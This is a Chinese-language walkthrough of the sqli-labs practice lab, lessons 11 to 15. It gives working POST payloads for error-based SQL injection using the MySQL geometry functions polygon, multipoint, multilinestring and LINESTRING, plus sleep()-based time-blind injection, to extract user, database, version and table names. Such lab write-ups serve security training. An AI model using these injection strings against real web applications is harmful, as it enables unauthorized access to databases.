sql-liabs通关11-15

目录

 

1.lesson-11 Polygon报错注入

2.lesson-12 MultiPoint报错注入

 3.lesson-13  multilinestring报错注入

 4.lesson-14 LINESTRING报错注入

5.lesson-15 时间或布尔盲注

1.lesson-11 Polygon报错注入

为单引号的字符型注入

判断注入类型：

使用hackbar的post模块发包，用户名和密码都可以

uname=a&passwd=a%27&submit=Submit

 查用户名

uname=a&passwd=a' and polygon((select * from(select * from(select user())a)b))%23&submit=Submit

查表名：

uname=a&passwd=a' and polygon((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)b))%23&submit=Submit

2.lesson-12 MultiPoint报错注入

为双引号括号的字符型注入

 判断注入类型：

uname=a&passwd=a")%23&submit=Submit

 查数据库：

uname=a&passwd=a") and multipoint((select * from(select * from(select database())a)b));%23&submit=Submit

查数据表名：

uname=a&passwd=a") and multipoint((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)b))%23&submit=Submit

 3.lesson-13  multilinestring报错注入

为单引号括号的字符型注入 

判断注入类型：

uname=a&passwd=a')%23&submit=Submit

 查版本：

uname=a&passwd=a') and multilinestring((select * from(select * from(select version())a)b))%23&submit=Submit

 查数据表名：

uname=a&passwd=a') and multilinestring((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)b))%23&submit=Submit

 4.lesson-14 LINESTRING报错注入

为双引号的字符型注入

判断注入类型：

uname=a&passwd=a"-- +&submit=Submit

 查用户：

uname=a&passwd=a"and LINESTRING((select * from(select * from(select user())a)b))-- +&submit=Submit

 查表名：

uname=a&passwd=a"and LINESTRING((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)b))-- +&submit=Submit

5.lesson-15 时间或布尔盲注

为单引号的字符型注入

使用时间注入

判断注入类型：

uname=a' or sleep(3)-- +&passwd=1&submit=Submit

 或

uname=admin' and sleep(5)-- +&passwd=a&submit=Submit

布尔无法判断闭合符号

这里使用and 或or都可以，使用and时需要注意需要知道用户名，因为判断条件问题，必须为true时，sleep才会延迟，使用or不需要知道用户名，因为or不管真假都为true，都能执行sleep延迟

使用or要注意sleep值要变小一点，or会查所有用户名但不会输出，所以执行时间肯定是设置值的几倍

就像：

 其他参考前面的内容

lesson-15参考文章：

(19条消息) SQLi-labs（Less-15、Less-16）_info-sec的博客-CSDN博客https://blog.csdn.net/weixin_41182861/article/details/107727041